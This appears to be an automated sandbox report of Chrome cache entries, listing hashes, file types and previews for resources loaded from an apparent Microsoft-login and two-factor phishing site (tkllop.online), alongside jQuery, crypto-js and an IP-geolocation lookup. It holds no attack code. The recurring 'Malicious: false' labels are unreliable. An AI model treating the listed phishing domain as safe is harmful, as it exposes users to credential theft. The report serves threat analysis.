SHA1:	F4ED6C47148700FF5599D96D8B879E074205F865
SHA-256:	CF897AB987D106C9AA5F2B9FAF2E49980F07E6FDA3394EBBEF2DF26F2B67E017
SHA-512:	FE41319E40A492329E5381CFC04F1D20E1AD04D4145B43549CC2D08BF6BC4C86011FD47D6C256BE19E9801C547D2042486B643A9DB046D427142BB42A0FCE8CF
Malicious:	false
URL:	https://freeipapi.com/api/json/
Preview:	{"ipVersion":4,"ipAddress":"8.46.123.33","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","Am

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2382
Entropy (8bit):	7.754672982746685
Encrypted:	false
SSDEEP:	48:+L5oHYETJ2a4FFBX5c7x00po9XXNo0CHcTqOdE:SoY8ka4DBX56xiXX+cXdE
MD5:	73C7E94086CFC8822F89EBA198643CEC
SHA1:	BDCDFA0F40602E4AB4C75365E155B6DA308C0CBA
SHA-256:	033AE15F266CA2F0EDB4980492E4E70C5A41FFB87EE9F6DAAEA6A4EF64980034
SHA-512:	CE8C54E849008C4570172755867FF25EA15D0679811116428D74B0AFD5F0E5A665F94F4B785312EA930E5BB22124808A5484C0675508E2F185900650F3BF4AE8
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/auth_number.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
SSDEEP:	48:QpL5o5suk1KvI0wTsPIbCxl1IuysA5JOAmJ:QBu5XkEIvTsQAvxDAmJ
MD5:	862FA73C33D1B7F380A51B609E3C0766
SHA1:	1B602C442C1F87E2B00CA768D5F986FEE8E4EC2F
SHA-256:	994AC85AF4DB5A2B5F7CE72D4F49C6B1C18C6422C8E57E623A2873BD7599E404
SHA-512:	D3DB66B915BA7E0EA51DAA87CCCB93C9CFC3667E25EF744202EB0491ABA83FA2F274E985A8C0A86E2FE2C820835A82E0F8F11C0116CC9B4E0605789FF0C2CF83
Malicious:	false
Preview:	.PNG........IHDR...l.................sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....\IDATh..YM..6...Md..'....o.w......s.."....,.......vS....R..u..D..Dj..'....o3..#...\|....7..q$^o>.._8Z..g.....qj..x...}g..6..[.q<g....!.4M...I.SJ...s.~.8.p#..^.......yDD...;.R.^.W...Q.....PuuOB..r..:......UJ..('.~ ^&I2......0y.k_.B....\.33o....Z.)3..,+..q.C...[......]../_vR.=.!....r ...]...(...h..h...@...a@s.{..}.EQ.....^...=Y.w..9..o.L).9"..Z....U....b....@7..`.eY...Xk'.`.-...3...Y..J.Q ....N...V...)...M.k.:#).2....u].EQ.-D4r}....D4...f.-...@...{.4'.....c..0@..].....o.....GDS.WD.km..b....k...q...%R..f..3.@.4....v..R.y.$...[[.........BTh...q.%.`.~...<....A2....y#...P]}.....B.<Y.{.....D.+..?sk.AD9.)..VJ.<Y.;.\}km%..[ko...Z[......O...D...s"Z..U.$..j...zs.o...G...S.e.o(.....?..8..L.H.....[..;/...v-)e.w.y...e..."z.....z...xBDCf.y{.@k}..h....{tm...@...D..8r.1..r....9.......Eq.......d..!Y....pk.$N........

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
URL:	https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3568
Entropy (8bit):	7.9016329579635425
Encrypted:	false
SSDEEP:	96:SOTA4xE7tz73s34BCAdVzqAA1QeTrlvBi/uj3LL:byJc34Maznjenb643
MD5:	8BC112DAA200D63832C66E06404ECC23
SHA1:	EA334D21EE8487B4BDFF46A9140E0AD11FBE7A79
SHA-256:	F25DFD78D4D536460D422EA51153547EDEB12F9662867F8972413972007E35C3
SHA-512:	7215A00057A019370719807B5B9949AF82CD8637B336E5090942F64D56CF7EA840746807E2C9F96E250D84EC67FA28CF0C24712E6CB7D2B1F0ABC175A36DBF29
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....<IDATx..y..U.....$d.`8..p.. \.r..E....8<.@9..P.C..K..!U.".....@!.rI..D.H....BN..r...>w...k...\|...~3.......u..y.~...............@?`..=....V...k....0...V..h.V.......#......3.....,....C......B^.~.......4.. .H..TK..K#.R..>.e.....m.U.\d.W..S.....4y...........~..+...=..B.s.U......8[.+....x....%.D.f...dk@.L.2......($.i=.\|.{.aj.......o.oY.........d.UH.;.#...7.b.....z`,..Z.d+Y.,V...IK....2..,.....~b}Sc...6.U...736.....}...LC2.B......,A....v..H..h.g:4k.1H.jE.../.n.X......M.~...?.....J.v....s.f..D.x(.-.(...)..P.,.}..H.]/....W.m.mXL.a]...w3:........Z..\......._ ....p...s.g.J`H8S......s......_6....($..YE../!........}........w.L..T].FNPk....F....u.R`..d.H....jA...]Go&.<....F... \|.]'..V.\..]....~1x.=.....U?.C..5ZvO..}......r....;.]...L\..s.q...B...rX.{&...O~.......-.......<z.V........<.X.h.^L...k.{t\|....X.

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:YtFHq:Y3K
MD5:	A0C9221908729A202773F92F7914F9CC
SHA1:	1F92210F6DC61E2FEEB808E974401008E2F424BE
SHA-256:	CBC5DF7044F13A3772BF07B277CA7753B8562109030ECA89BA748C0DD4850818
SHA-512:	76B1C22439B811B4F22C85BEE9C435153A1B49BB2420744078F13CC62BBB9B7BBF3CED0B65BC29022A92E7FF79D84B64E577C343E87FFF3E895230C03FB709CC
Malicious:	false
Preview:	{"0": "0"}

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
SSDEEP:	48:QpL5o5suk1KvI0wTsPIbCxl1IuysA5JOAmJ:QBu5XkEIvTsQAvxDAmJ
MD5:	862FA73C33D1B7F380A51B609E3C0766
SHA1:	1B602C442C1F87E2B00CA768D5F986FEE8E4EC2F
SHA-256:	994AC85AF4DB5A2B5F7CE72D4F49C6B1C18C6422C8E57E623A2873BD7599E404
SHA-512:	D3DB66B915BA7E0EA51DAA87CCCB93C9CFC3667E25EF744202EB0491ABA83FA2F274E985A8C0A86E2FE2C820835A82E0F8F11C0116CC9B4E0605789FF0C2CF83
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/microsoft_logo.png/
Preview:	.PNG........IHDR...l.................sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....\IDATh..YM..6...Md..'....o.w......s.."....,.......vS....R..u..D..Dj..'....o3..#...\|....7..q$^o>.._8Z..g.....qj..x...}g..6..[.q<g....!.4M...I.SJ...s.~.8.p#..^.......yDD...;.R.^.W...Q.....PuuOB..r..:......UJ..('.~ ^&I2......0y.k_.B....\.33o....Z.)3..,+..q.C...[......]../_vR.=.!....r ...]...(...h..h...@...a@s.{..}.EQ.....^...=Y.w..9..o.L).9"..Z....U....b....@7..`.eY...Xk'.`.-...3...Y..J.Q ....N...V...)...M.k.:#).2....u].EQ.-D4r}....D4...f.-...@...{.4'.....c..0@..].....o.....GDS.WD.km..b....k...q...%R..f..3.@.4....v..R.y.$...[[.........BTh...q.%.`.~...<....A2....y#...P]}.....B.<Y.{.....D.+..?sk.AD9.)..VJ.<Y.;.\}km%..[ko...Z[......O...D...s"Z..U.$..j...zs.o...G...S.e.o(.....?..8..L.H.....[..;/...v-)e.w.y...e..."z.....z...xBDCf.y{.@k}..h....{tm...@...D..8r.1..r....9.......Eq.......d..!Y....pk.$N........

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.464119121531775
Encrypted:	false
SSDEEP:	6:6v/lhPp0xH2plH0thAuikdUXphjhSZng5NDgFjbSIYtWHcjp:6v/7BYuWhAupUXpSZng5ClbH1HcN
MD5:	79CF1EFDBFAF6AFF7E32AD13BFA4BBED
SHA1:	0E07B7F718F59B81246DCD059D9DA90ACBE2DA60
SHA-256:	FEA8FBAEC75213E1AF8005EDFCDC94E7B5D7DCA6DDB4E262D66E4756BDA96D54
SHA-512:	E6A653C6C9052043AD8A5A3217647D1914460E2021C531474326FC2AF5F3CF4F9920812DB7BA97B0ECC543AA9B56D1C5408CE7995D634B7A1AB251D4AAD47DD2
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT.....O.....PLTEGpL.P".................tRNS.@..f....bKGD....H..._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....bIDATx...I..0.......R.B...#g5............................... .4..6..............................<kh.[[.O.....IEND.B`.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 259x60, components 3
Category:	dropped
Size (bytes):	8064
Entropy (8bit):	7.868510017898599
Encrypted:	false
SSDEEP:	192:Y/OW9vC1xJZ/wDk5H6CyZ4NGv/TRpEgWV:pl/kiHTyZ4NGvFpEVV
MD5:	C6BE5151CBF4B30CD6ED8B54522EA78E
SHA1:	ABC3ABC523C1FF18438D7722EF4B8427702F8AB0
SHA-256:	2E8EED4FED515138A6DB795CA60C139CE9DDC0A12DB5C9236F91B487DA5028F5
SHA-512:	93C7271461FB1150C3B340FECD50870ED7E784C214721919671E38DEF9038EB9B81203A6FE2B51A268478C95E167A717A1D2B6EA95047525D059C5F5FC6560A7
Malicious:	false
Preview:	......Exif..II*.................Ducky.......P.....Uhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:31F6867C52E111E8B05DE76174767092" xmpMM:InstanceID="xmp.iid:31F6867B52E111E8B05DE76174767092" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="adobe:docid:photoshop:9fbe6554-52e0-11e8-aefe-8434e238842b" stRef:documentID="adobe:docid:photoshop:9fbe6554-52e0-11e8-aefe-8434e238842b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.......................................................................................

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
URL:	https://code.jquery.com/jquery-1.9.1.js
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.187349544502698
Encrypted:	false
SSDEEP:	24:bUXUZng5LH6zfAHZburPWCGgooSplizJsiibiRAV:+L5THHZbubBHSpli1Kuy
MD5:	7395C0F4FF10EAED730BFEB5BC576351
SHA1:	530BD55C7133DC2E2EC09099F70401466FAEE30D
SHA-256:	34058A4C997349CD3C91A3BC59BCC82DD6920BD57A555B49875BF71EAE942E2C
SHA-512:	0C75EE8A73AD13AE5F3B095A1E126D5CDF9D20329AFF1374BB79A510146619B5A7D150F08AA61F8DEF1FB4158AB3A99DA79B02102623920E194E91FE5275BEDE
Malicious:	false
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....vIDATx...1n.A........W.p.X#A..].p.8.'.DH..".Ps...4..K.6".\|..yZk..%...J......................c...v..1.......3N..n=;....Yz..IXD...a.q...w.4M..wX.Z..R.../..4M..q./..Z..........a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......'K...n.a...........s.......i...k{Uk}...E........4M.R..9.....\__.(.\...Y.Qx...R....oV......D...%.6.,Q..(o...~...0.ok.o.\s.....M...8..s..\|.xb..=.%.6u.....mX.j[.a..}.%.>..........z.....R^......p..Xw:..7.4.....U.V...=.%.6u.....mX.j[.a..}.%.>t.....MX..K.a..?.%.>5.....lX..[.a.....v.=]z...................j..........IEND.B`.

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3568
Entropy (8bit):	7.9016329579635425
Encrypted:	false
SSDEEP:	96:SOTA4xE7tz73s34BCAdVzqAA1QeTrlvBi/uj3LL:byJc34Maznjenb643
MD5:	8BC112DAA200D63832C66E06404ECC23
SHA1:	EA334D21EE8487B4BDFF46A9140E0AD11FBE7A79
SHA-256:	F25DFD78D4D536460D422EA51153547EDEB12F9662867F8972413972007E35C3
SHA-512:	7215A00057A019370719807B5B9949AF82CD8637B336E5090942F64D56CF7EA840746807E2C9F96E250D84EC67FA28CF0C24712E6CB7D2B1F0ABC175A36DBF29
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/2fa_authenticator.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....<IDATx..y..U.....$d.`8..p.. \.r..E....8<.@9..P.C..K..!U.".....@!.rI..D.H....BN..r...>w...k...\|...~3.......u..y.~...............@?`..=....V...k....0...V..h.V.......#......3.....,....C......B^.~.......4.. .H..TK..K#.R..>.e.....m.U.\d.W..S.....4y...........~..+...=..B.s.U......8[.+....x....%.D.f...dk@.L.2......($.i=.\|.{.aj.......o.oY.........d.UH.;.#...7.b.....z`,..Z.d+Y.,V...IK....2..,.....~b}Sc...6.U...736.....}...LC2.B......,A....v..H..h.g:4k.1H.jE.../.n.X......M.~...?.....J.v....s.f..D.x(.-.(...)..P.,.}..H.]/....W.m.mXL.a]...w3:........Z..\......._ ....p...s.g.J`H8S......s......_6....($..YE../!........}........w.L..T].FNPk....F....u.R`..d.H....jA...]Go&.<....F... \|.]'..V.\..]....~1x.=.....U?.C..5ZvO..}......r....;.]...L\..s.q...B...rX.{&...O~.......-.......<z.V........<.X.h.^L...k.{t\|....X.

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 1652x929, components 3
Category:	downloaded
Size (bytes):	19683
Entropy (8bit):	7.071111056071884
Encrypted:	false
SSDEEP:	384:fswhRxjtQOnykVZcvQ1/1ThQq8xD3TYzlHxY2oYA+wJHQWrrJrUDBdSGYH/5K7x:ptHnykZccThuDjYzlHxYrpJwSrUDBdSy
MD5:	E6C2BB8995A62FE5E7E8526443E524EF
SHA1:	8C2A2182CF54B1D07D4758A326AA1BEE99D7E59C
SHA-256:	EFCFD4559471866F1F28FF4C67FD629C36FEC893EA2071B8E54509A2471FEDD5
SHA-512:	893CD26E8FD2C330B62FCB299FF37D1B58F386959EBACC82A6C2A07BA2464680D73FA78A06363675EA421CF418DD491BCBAA649BA0F3A06201E7928B04CD7792
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/bg_normal.png
Preview:	......JFIF.............Exif..II.......1...............Google................................................................................................................................................t.."..................................... ......................1A!a.qQ.....................................................A1............?..P....=.j.....h.!..E..j........X..Hb.:.&..........F.:@X..$.. . ...............P.M...p.@L1J......u.Q.5........z..zYQ..MTP................4.....5uu...V... ...j3.'F..........2. P.qT.W...WR......Z2......B..Q:%....(..(.bF..f..@kS.....43..b.....@VuS.i....-'.KUV.MDQ4.Q5@.....@.^...u...4...A@ZP..WN.UkU..hN.@....jUae.....4.%.....Y%..P....lKKP.K@KSD.....-E.....-.N.P.....N.Qb......@M4.g..._,th:..Q..P.M.M:1.zjW5.k..... 5.&.BJt..:5+.,.#bJ...@.\d.......g@.]:@.z]d....5.5...ek6....j...$Z&.R'+.P..P"&.,....%..j.. ..h4/K..(....3...BtZ.%...E...X.....\P..+IA.X....UQ....4.e.S...V.[PM.Tf.B.[...(".......B..g.F....S.t.......lL....z^....g...0.lc.l`.lg..

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3716
Entropy (8bit):	7.86008072577244
Encrypted:	false
SSDEEP:	96:SKvJPPPPPB3f4jQ/x7UR9QG+2pJzuLZKbpVmoeT6p6//xdcmCPPPPPd:Xg0p7UR93+CckoXmY0mC
MD5:	C2DCB4821F20ACF4FB2BC036A4FD30A7
SHA1:	67C0AAD8FA08187ADED93059E1868D72D1F60EF4
SHA-256:	2D44C3B13C9057D5EF8DB356F47F29D0A7B79CCCE4A1140018352289CB304336
SHA-512:	1874376CAB836D91115B911BB303DD23B47E13CB0543254DED97D28DFD147F51AC50322D32C96FEB070FE1EBB450386426E2D88FAA7249A344B0227378A4DCAF
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/key_workshcool.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx....p..y...y...$A....S..I.!.k.........M.a..$...4.t...4..?B'C;..fH...-..A.....YNM.3Ih..c.q3....,[.}...R.:..=...................RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..R..i..N...}.F.CD......<.9... .3..t"z..43....y.3........FGG...Wt....x..ND.`.K........@...0..D......X.;J&......M.\|^R...1.......s....2.,.uW....l4.b..&.1w...~e.mo.:n.e"X.R..z.~..[m..d.&...j...D$i....,.uKD..$..y...7U...]H...`............-..`........O..ADG....}..'"K.........sZ+...c.\|......Z..;AG...w...\|A......If~.q.J.\.i+..a.s...&.!........)...qll.h+..v...\|>...F.1K....>".roo..O?........c6....{..^D....s....k.!.:X....C...l..@}....}..T=.R..F..".Gs]4.........qR.dI...u.+..1".Em#"......;m.....>".......g".;.Zm...:YG....AP6.......q.k+...l..v..m...0.l.ROO..vv.Y.z.f.=....l.H.^...;v..UW.\|>....1...f...}...V]..y.k....Ss...j.z]'....V....k.hg....

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5421
Entropy (8bit):	7.930688904991097
Encrypted:	false
SSDEEP:	96:SUxJ4nAqKQCa02WVVGaMgWeRVJWiYcfb04mXYUwgPBh2RGKNpEP5O/:vD4nAqKQx02WVV8eRVyGbrUVhp4Ex4
MD5:	6F4395D60BFEA0E5AA9FB9E1945457AE
SHA1:	54124E723872C50889A119F95F31F84F9D092F3A
SHA-256:	930B3261C05DDF41566CA5906F3A5F91A437BF4DE2513A84D5995A8AA1AEC819
SHA-512:	1D682B2CDA1FB730C22A202181047379A8F74DFDFA265F2BDE9E14B5BFF9ADBE8FCE93897F78273A9639072E507DEC38A3C905C18ED694A02ECCB283C3C7130D
Malicious:	false
URL:	https://w2yf5cltgv.tkllop.online/static/media/person_workshcool.png
